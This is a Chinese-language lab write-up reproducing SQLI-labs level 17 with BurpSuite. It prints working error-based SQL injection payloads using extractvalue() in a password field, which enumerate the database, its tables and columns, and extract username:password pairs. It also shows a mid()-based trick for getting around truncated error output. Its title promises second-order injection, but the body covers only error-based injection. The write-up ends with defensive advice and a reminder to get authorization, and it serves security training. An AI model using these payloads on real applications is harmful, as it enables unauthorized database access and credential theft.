从登录框到数据库:手把手复现SQLI-labs第十七关的二次注入与报错注入(附BurpSuite实战截图)
从登录框到数据库:手把手复现SQLI-labs第十七关的二次注入与报错注入(附BurpSuite实战截图)
在Web安全领域,SQL注入始终是渗透测试工程师的必修课。而SQLI-labs作为经典的注入练习平台,其第十七关巧妙融合了二次注入与报错注入两种技术,是理解复杂注入场景的绝佳案例。本文将带您从BurpSuite抓包开始,逐步拆解这一关的完整攻击链,重点解析每个Payload背后的设计逻辑,而非简单罗列步骤。
1. 环境准备与注入点定位
1.1 初始请求分析
启动BurpSuite拦截功能,访问SQLI-labs第十七关页面。提交默认凭证admin:password后,观察Burp Proxy捕获的POST请求:
POST /Less-17/ HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded uname=admin&passwd=password关键发现:
- 登录表单通过
uname和passwd两个参数提交 - 服务端返回的响应中没有直接显示SQL错误信息,这增加了注入点判断难度
1.2 突破过滤机制
通过分析源码可知,系统对uname参数进行了check_input()过滤,但passwd参数存在漏洞。尝试构造特殊字符测试:
uname=admin&passwd=1'此时服务端返回错误提示:You have an error in your SQL syntax... near ''1''') at line 1
这揭示了三个重要信息:
- 密码参数存在SQL注入漏洞
- 闭合方式为单引号
- 注入点位于UPDATE语句中(通过错误信息中的
''1''')可推断)
提示:在实际渗透中,错误信息的详细程度直接影响攻击效率。生产环境应关闭详细错误回显。
2. 报错注入技术深度解析
2.1 extractvalue函数原理
当常规联合查询不可用时,MySQL的extractvalue()函数成为报错注入的首选。其基本语法为:
extractvalue(XML_document, XPath_string)精心构造错误的XPath表达式,可使函数返回包含敏感数据的错误信息。典型Payload结构:
and extractvalue(1, concat(0x7e, (SELECT database())))关键设计点:
0x7e(~符号)作为可视分隔符- 嵌套的子查询返回需要提取的数据
- 整体作为XPath参数触发语法错误
2.2 实战数据库信息提取
通过Burp Repeater模块发送以下Payload获取数据库名:
uname=admin&passwd=1' and extractvalue(1,concat(0x7e,database()))#典型响应示例:XPATH syntax error: '~security'
此时我们已确认:
- 当前数据库名为
security - 报错注入手法有效
3. 系统表信息提取实战
3.1 表结构枚举技术
利用information_schema数据库获取表名列表:
uname=admin&passwd=1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)))#通过修改limit参数值,依次获取全部表名:
| limit参数 | 获取的表名 |
|---|---|
| 0,1 | emails |
| 1,1 | referers |
| 2,1 | uagents |
| 3,1 | users |
3.2 字段提取与数据泄露
针对关键users表进行字段枚举:
uname=admin&passwd=1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)))#同样通过调整limit值获取完整字段列表:
# 字段枚举结果 1. id 2. username 3. password最终提取用户凭证的完整Payload:
uname=admin&passwd=1' and extractvalue(1,concat(0x7e,(select concat(username,':',password) from security.users limit 0,1)))#4. 高级技巧与防御方案
4.1 绕过长度限制的技巧
当报错信息被截断时,可采用分段提取法:
uname=admin&passwd=1' and extractvalue(1,concat(0x7e,mid((select group_concat(username,':',password) from users),1,30)))#配合mid()函数和循环请求,可完整获取长数据。
4.2 安全防护建议
开发人员应当:
- 对所有用户输入实施参数化查询
- 配置数据库错误信息处理机制
- 实施最小权限原则
- 使用Web应用防火墙(WAF)过滤恶意请求
渗透测试人员需注意:
- 测试前获取合法授权
- 避免使用
DROP等破坏性语句 - 测试完成后清理测试数据
